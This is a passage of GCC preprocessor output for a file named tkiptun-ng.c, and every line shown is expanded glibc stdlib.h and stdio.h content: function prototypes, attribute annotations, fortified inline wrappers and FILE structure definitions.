extern int random_r (struct random_data *__restrict __buf,
       int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));

extern int srandom_r (unsigned int __seed, struct random_data *__buf)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));

extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
   size_t __statelen,
   struct random_data *__restrict __buf)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));

extern int setstate_r (char *__restrict __statebuf,
         struct random_data *__restrict __buf)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));






extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));

extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));




extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));







extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





struct drand48_data
  {
    unsigned short int __x[3];
    unsigned short int __old_x[3];
    unsigned short int __c;
    unsigned short int __init;
    unsigned long long int __a;
  };


extern int drand48_r (struct drand48_data *__restrict __buffer,
        double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
        struct drand48_data *__restrict __buffer,
        double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern int lrand48_r (struct drand48_data *__restrict __buffer,
        long int *__restrict __result)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
        struct drand48_data *__restrict __buffer,
        long int *__restrict __result)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern int mrand48_r (struct drand48_data *__restrict __buffer,
        long int *__restrict __result)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
        struct drand48_data *__restrict __buffer,
        long int *__restrict __result)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));


extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));

extern int seed48_r (unsigned short int __seed16v[3],
       struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));

extern int lcong48_r (unsigned short int __param[7],
        struct drand48_data *__buffer)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
# 479 "/usr/include/stdlib.h" 3 4






extern void *realloc (void *__ptr, size_t __size)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));

extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));




extern void cfree (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));



# 1 "/usr/include/alloca.h" 1 3 4
# 25 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 26 "/usr/include/alloca.h" 2 3 4







extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));






# 498 "/usr/include/stdlib.h" 2 3 4





extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__));




extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));




extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));



extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 531 "/usr/include/stdlib.h" 3 4





extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));






extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 554 "/usr/include/stdlib.h" 3 4






extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));






extern char *getenv (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));




extern char *__secure_getenv (__const char *__name)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





extern int setenv (__const char *__name, __const char *__value, int __replace)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));


extern int unsetenv (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));






extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 606 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 623 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __asm__ ("" "mkstemp64")
     __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 645 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __asm__ ("" "mkstemps64")
                     __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 663 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 712 "/usr/include/stdlib.h" 3 4





extern int system (__const char *__command) __attribute__ ((__warn_unused_result__));

# 734 "/usr/include/stdlib.h" 3 4
extern char *realpath (__const char *__restrict __name,
         char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));






typedef int (*__compar_fn_t) (__const void *, __const void *);
# 752 "/usr/include/stdlib.h" 3 4



extern void *bsearch (__const void *__key, __const void *__base,
        size_t __nmemb, size_t __size, __compar_fn_t __compar)
     __attribute__ ((__nonnull__ (1, 2, 5))) __attribute__ ((__warn_unused_result__));



extern void qsort (void *__base, size_t __nmemb, size_t __size,
     __compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 771 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__));
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__));



__extension__ extern long long int llabs (long long int __x)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__));







extern div_t div (int __numer, int __denom)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__));
extern ldiv_t ldiv (long int __numer, long int __denom)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__));




__extension__ extern lldiv_t lldiv (long long int __numer,
        long long int __denom)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__));

# 808 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
     int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__));




extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
     int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__));




extern char *gcvt (double __value, int __ndigit, char *__buf)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) __attribute__ ((__warn_unused_result__));




extern char *qecvt (long double __value, int __ndigit,
      int *__restrict __decpt, int *__restrict __sign)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__));
extern char *qfcvt (long double __value, int __ndigit,
      int *__restrict __decpt, int *__restrict __sign)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__));
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) __attribute__ ((__warn_unused_result__));




extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
     int *__restrict __sign, char *__restrict __buf,
     size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
     int *__restrict __sign, char *__restrict __buf,
     size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));

extern int qecvt_r (long double __value, int __ndigit,
      int *__restrict __decpt, int *__restrict __sign,
      char *__restrict __buf, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
      int *__restrict __decpt, int *__restrict __sign,
      char *__restrict __buf, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));







extern int mblen (__const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));


extern int mbtowc (wchar_t *__restrict __pwc,
     __const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));


extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));



extern size_t mbstowcs (wchar_t *__restrict __pwcs,
   __const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));

extern size_t wcstombs (char *__restrict __s,
   __const wchar_t *__restrict __pwcs, size_t __n)
     __attribute__ ((__nothrow__ , __leaf__));








extern int rpmatch (__const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 896 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
        char *__const *__restrict __tokens,
        char **__restrict __valuep)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) __attribute__ ((__warn_unused_result__));
# 948 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





# 1 "/usr/include/bits/stdlib.h" 1 3 4
# 24 "/usr/include/bits/stdlib.h" 3 4
extern char *__realpath_chk (__const char *__restrict __name,
        char *__restrict __resolved,
        size_t __resolvedlen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
extern char *__realpath_alias (__const char *__restrict __name, char *__restrict __resolved) __asm__ ("" "realpath") __attribute__ ((__nothrow__ , __leaf__))

                                                 __attribute__ ((__warn_unused_result__));
extern char *__realpath_chk_warn (__const char *__restrict __name, char *__restrict __resolved, size_t __resolvedlen) __asm__ ("" "__realpath_chk") __attribute__ ((__nothrow__ , __leaf__))


                                                __attribute__ ((__warn_unused_result__))
     __attribute__((__warning__ ("second argument of realpath must be either NULL or at " "least PATH_MAX bytes long buffer")))
                                      ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char *
__attribute__ ((__nothrow__ , __leaf__)) realpath (__const char *__restrict __name, char *__restrict __resolved)
{
  if (__builtin_object_size (__resolved, 2 > 1) != (size_t) -1)
    {




      return __realpath_chk (__name, __resolved, __builtin_object_size (__resolved, 2 > 1));
    }

  return __realpath_alias (__name, __resolved);
}


extern int __ptsname_r_chk (int __fd, char *__buf, size_t __buflen,
       size_t __nreal) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int __ptsname_r_alias (int __fd, char *__buf, size_t __buflen) __asm__ ("" "ptsname_r") __attribute__ ((__nothrow__ , __leaf__))

     __attribute__ ((__nonnull__ (2)));
extern int __ptsname_r_chk_warn (int __fd, char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__ptsname_r_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__nonnull__ (2))) __attribute__((__warning__ ("ptsname_r called with buflen bigger than " "size of buf")))
                   ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) ptsname_r (int __fd, char *__buf, size_t __buflen)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__buflen))
 return __ptsname_r_chk (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1));
      if (__buflen > __builtin_object_size (__buf, 2 > 1))
 return __ptsname_r_chk_warn (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1));
    }
  return __ptsname_r_alias (__fd, __buf, __buflen);
}


extern int __wctomb_chk (char *__s, wchar_t __wchar, size_t __buflen)
  __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
extern int __wctomb_alias (char *__s, wchar_t __wchar) __asm__ ("" "wctomb") __attribute__ ((__nothrow__ , __leaf__))
              __attribute__ ((__warn_unused_result__));

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) int
__attribute__ ((__nothrow__ , __leaf__)) wctomb (char *__s, wchar_t __wchar)
{







  if (__builtin_object_size (__s, 2 > 1) != (size_t) -1 && 16 > __builtin_object_size (__s, 2 > 1))
    return __wctomb_chk (__s, __wchar, __builtin_object_size (__s, 2 > 1));
  return __wctomb_alias (__s, __wchar);
}


extern size_t __mbstowcs_chk (wchar_t *__restrict __dst,
         __const char *__restrict __src,
         size_t __len, size_t __dstlen) __attribute__ ((__nothrow__ , __leaf__));
extern size_t __mbstowcs_alias (wchar_t *__restrict __dst, __const char *__restrict __src, size_t __len) __asm__ ("" "mbstowcs") __attribute__ ((__nothrow__ , __leaf__))


                                  ;
extern size_t __mbstowcs_chk_warn (wchar_t *__restrict __dst, __const char *__restrict __src, size_t __len, size_t __dstlen) __asm__ ("" "__mbstowcs_chk") __attribute__ ((__nothrow__ , __leaf__))



     __attribute__((__warning__ ("mbstowcs called with dst buffer smaller than len " "* sizeof (wchar_t)")))
                        ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) size_t
__attribute__ ((__nothrow__ , __leaf__)) mbstowcs (wchar_t *__restrict __dst, __const char *__restrict __src, size_t __len)

{
  if (__builtin_object_size (__dst, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__len))
 return __mbstowcs_chk (__dst, __src, __len,
          __builtin_object_size (__dst, 2 > 1) / sizeof (wchar_t));

      if (__len > __builtin_object_size (__dst, 2 > 1) / sizeof (wchar_t))
 return __mbstowcs_chk_warn (__dst, __src, __len,
         __builtin_object_size (__dst, 2 > 1) / sizeof (wchar_t));
    }
  return __mbstowcs_alias (__dst, __src, __len);
}


extern size_t __wcstombs_chk (char *__restrict __dst,
         __const wchar_t *__restrict __src,
         size_t __len, size_t __dstlen) __attribute__ ((__nothrow__ , __leaf__));
extern size_t __wcstombs_alias (char *__restrict __dst, __const wchar_t *__restrict __src, size_t __len) __asm__ ("" "wcstombs") __attribute__ ((__nothrow__ , __leaf__))


                                  ;
extern size_t __wcstombs_chk_warn (char *__restrict __dst, __const wchar_t *__restrict __src, size_t __len, size_t __dstlen) __asm__ ("" "__wcstombs_chk") __attribute__ ((__nothrow__ , __leaf__))



     __attribute__((__warning__ ("wcstombs called with dst buffer smaller than len")));

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) size_t
__attribute__ ((__nothrow__ , __leaf__)) wcstombs (char *__restrict __dst, __const wchar_t *__restrict __src, size_t __len)

{
  if (__builtin_object_size (__dst, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__len))
 return __wcstombs_chk (__dst, __src, __len, __builtin_object_size (__dst, 2 > 1));
      if (__len > __builtin_object_size (__dst, 2 > 1))
 return __wcstombs_chk_warn (__dst, __src, __len, __builtin_object_size (__dst, 2 > 1));
    }
  return __wcstombs_alias (__dst, __src, __len);
}
# 956 "/usr/include/stdlib.h" 2 3 4
# 964 "/usr/include/stdlib.h" 3 4

# 54 "tkiptun-ng.c" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 30 "/usr/include/stdio.h" 3 4




# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 35 "/usr/include/stdio.h" 2 3 4
# 45 "/usr/include/stdio.h" 3 4
struct _IO_FILE;



typedef struct _IO_FILE FILE;





# 65 "/usr/include/stdio.h" 3 4
typedef struct _IO_FILE __FILE;
# 75 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/libio.h" 1 3 4
# 32 "/usr/include/libio.h" 3 4
# 1 "/usr/include/_G_config.h" 1 3 4
# 15 "/usr/include/_G_config.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 16 "/usr/include/_G_config.h" 2 3 4




# 1 "/usr/include/wchar.h" 1 3 4
# 83 "/usr/include/wchar.h" 3 4
typedef struct
{
  int __count;
  union
  {

    unsigned int __wch;



    char __wchb[4];
  } __value;
} __mbstate_t;
# 21 "/usr/include/_G_config.h" 2 3 4

typedef struct
{
  __off_t __pos;
  __mbstate_t __state;
} _G_fpos_t;
typedef struct
{
  __off64_t __pos;
  __mbstate_t __state;
} _G_fpos64_t;
# 53 "/usr/include/_G_config.h" 3 4
typedef int _G_int16_t __attribute__ ((__mode__ (__HI__)));
typedef int _G_int32_t __attribute__ ((__mode__ (__SI__)));
typedef unsigned int _G_uint16_t __attribute__ ((__mode__ (__HI__)));
typedef unsigned int _G_uint32_t __attribute__ ((__mode__ (__SI__)));
# 33 "/usr/include/libio.h" 2 3 4
# 53 "/usr/include/libio.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 54 "/usr/include/libio.h" 2 3 4
# 172 "/usr/include/libio.h" 3 4
struct _IO_jump_t; struct _IO_FILE;
# 182 "/usr/include/libio.h" 3 4
typedef void _IO_lock_t;





struct _IO_marker {
  struct _IO_marker *_next;
  struct _IO_FILE *_sbuf;



  int _pos;
# 205 "/usr/include/libio.h" 3 4
};


enum __codecvt_result
{
  __codecvt_ok,
  __codecvt_partial,
  __codecvt_error,
  __codecvt_noconv
};
# 273 "/usr/include/libio.h" 3 4
struct _IO_FILE {
  int _flags;




  char* _IO_read_ptr;
  char* _IO_read_end;
  char* _IO_read_base;
  char* _IO_write_base;
  char* _IO_write_ptr;
  char* _IO_write_end;
  char* _IO_buf_base;
  char* _IO_buf_end;

  char *_IO_save_base;
  char *_IO_backup_base;
  char *_IO_save_end;

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;



  int _flags2;

  __off_t _old_offset;



  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];



  _IO_lock_t *_lock;
# 321 "/usr/include/libio.h" 3 4
  __off64_t _offset;
# 330 "/usr/include/libio.h" 3 4
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
  size_t __pad5;

  int _mode;

  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];

};


typedef struct _IO_FILE _IO_FILE;


struct _IO_FILE_plus;

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
# 366 "/usr/include/libio.h" 3 4
typedef __ssize_t __io_read_fn (void *__cookie, char *__buf, size_t __nbytes);







typedef __ssize_t __io_write_fn (void *__cookie, __const char *__buf,
     size_t __n);







typedef int __io_seek_fn (void *__cookie, __off64_t *__pos, int __w);


typedef int __io_close_fn (void *__cookie);
# 418 "/usr/include/libio.h" 3 4
extern int __underflow (_IO_FILE *);
extern int __uflow (_IO_FILE *);
extern int __overflow (_IO_FILE *, int);
# 462 "/usr/include/libio.h" 3 4
extern int _IO_getc (_IO_FILE *__fp);
extern int _IO_putc (int __c, _IO_FILE *__fp);
extern int _IO_feof (_IO_FILE *__fp) __attribute__ ((__nothrow__ , __leaf__));
extern int _IO_ferror (_IO_FILE *__fp) __attribute__ ((__nothrow__ , __leaf__));

extern int _IO_peekc_locked (_IO_FILE *__fp);





extern void _IO_flockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
extern void _IO_funlockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
extern int _IO_ftrylockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
# 492 "/usr/include/libio.h" 3 4
extern int _IO_vfscanf (_IO_FILE * __restrict, const char * __restrict,
   __gnuc_va_list, int *__restrict);
extern int _IO_vfprintf (_IO_FILE *__restrict, const char *__restrict,
    __gnuc_va_list);
extern __ssize_t _IO_padn (_IO_FILE *, int, __ssize_t);
extern size_t _IO_sgetn (_IO_FILE *, void *, size_t);

extern __off64_t _IO_seekoff (_IO_FILE *, __off64_t, int, int);
extern __off64_t _IO_seekpos (_IO_FILE *, __off64_t, int);

extern void _IO_free_backup_area (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
# 76 "/usr/include/stdio.h" 2 3 4




typedef __gnuc_va_list va_list;
# 109 "/usr/include/stdio.h" 3 4




typedef _G_fpos64_t fpos_t;


# 165 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/bits/stdio_lim.h" 1 3 4
# 166 "/usr/include/stdio.h" 2 3 4



extern struct _IO_FILE *stdin;
extern struct _IO_FILE *stdout;
extern struct _IO_FILE *stderr;







extern int remove (__const char *__filename) __attribute__ ((__nothrow__ , __leaf__));

extern int rename (__const char *__old, __const char *__new) __attribute__ ((__nothrow__ , __leaf__));




extern int renameat (int __oldfd, __const char *__old, int __newfd,
       __const char *__new) __attribute__ ((__nothrow__ , __leaf__));



# 199 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) __asm__ ("" "tmpfile64") __attribute__ ((__warn_unused_result__));
# 210 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));





extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 228 "/usr/include/stdio.h" 3 4
extern char *tempnam (__const char *__dir, __const char *__pfx)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__));








extern int fclose (FILE *__stream);




extern int fflush (FILE *__stream);

# 253 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 267 "/usr/include/stdio.h" 3 4

# 284 "/usr/include/stdio.h" 3 4
extern FILE *fopen (__const char *__restrict __filename, __const char *__restrict __modes) __asm__ ("" "fopen64")

  __attribute__ ((__warn_unused_result__));
extern FILE *freopen (__const char *__restrict __filename, __const char *__restrict __modes, FILE *__restrict __stream) __asm__ ("" "freopen64")


  __attribute__ ((__warn_unused_result__));






# 307 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, __const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 320 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, __const char *__modes)
  __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));




extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));






extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));



extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
      int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));





extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
         size_t __size) __attribute__ ((__nothrow__ , __leaf__));


extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));








extern int fprintf (FILE *__restrict __stream,
      __const char *__restrict __format, ...);




extern int printf (__const char *__restrict __format, ...);

extern int sprintf (char *__restrict __s,
      __const char *__restrict __format, ...) __attribute__ ((__nothrow__));





extern int vfprintf (FILE *__restrict __s, __const char *__restrict __format,
       __gnuc_va_list __arg);




extern int vprintf (__const char *__restrict __format, __gnuc_va_list __arg);

extern int vsprintf (char *__restrict __s, __const char *__restrict __format,
       __gnuc_va_list __arg) __attribute__ ((__nothrow__));





extern int snprintf (char *__restrict __s, size_t __maxlen,
       __const char *__restrict __format, ...)
     __attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));

extern int vsnprintf (char *__restrict __s, size_t __maxlen,
        __const char *__restrict __format, __gnuc_va_list __arg)
     __attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));

# 418 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, __const char *__restrict __fmt,
       __gnuc_va_list __arg)
     __attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, __const char *__restrict __fmt, ...)
     __attribute__ ((__format__ (__printf__, 2, 3)));








extern int fscanf (FILE *__restrict __stream,
     __const char *__restrict __format, ...) __attribute__ ((__warn_unused_result__));




extern int scanf (__const char *__restrict __format, ...) __attribute__ ((__warn_unused_result__));

extern int sscanf (__const char *__restrict __s,
     __const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
# 449 "/usr/include/stdio.h" 3 4
extern int fscanf (FILE *__restrict __stream, __const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")

                          __attribute__ ((__warn_unused_result__));
extern int scanf (__const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
                         __attribute__ ((__warn_unused_result__));
extern int sscanf (__const char *__restrict __s, __const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))

                      ;
# 469 "/usr/include/stdio.h" 3 4








extern int vfscanf (FILE *__restrict __s, __const char *__restrict __format,
      __gnuc_va_list __arg)
     __attribute__ ((__format__ (__scanf__, 2, 0))) __attribute__ ((__warn_unused_result__));





extern int vscanf (__const char *__restrict __format, __gnuc_va_list __arg)
     __attribute__ ((__format__ (__scanf__, 1, 0))) __attribute__ ((__warn_unused_result__));


extern int vsscanf (__const char *__restrict __s,
      __const char *__restrict __format, __gnuc_va_list __arg)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
# 500 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, __const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")



     __attribute__ ((__format__ (__scanf__, 2, 0))) __attribute__ ((__warn_unused_result__));
extern int vscanf (__const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")

     __attribute__ ((__format__ (__scanf__, 1, 0))) __attribute__ ((__warn_unused_result__));
extern int vsscanf (__const char *__restrict __s, __const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))



     __attribute__ ((__format__ (__scanf__, 2, 0)));
# 528 "/usr/include/stdio.h" 3 4









extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);





extern int getchar (void);

# 556 "/usr/include/stdio.h" 3 4
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 567 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);











extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);





extern int putchar (int __c);

# 600 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);







extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);






extern int getw (FILE *__stream);


extern int putw (int __w, FILE *__stream);








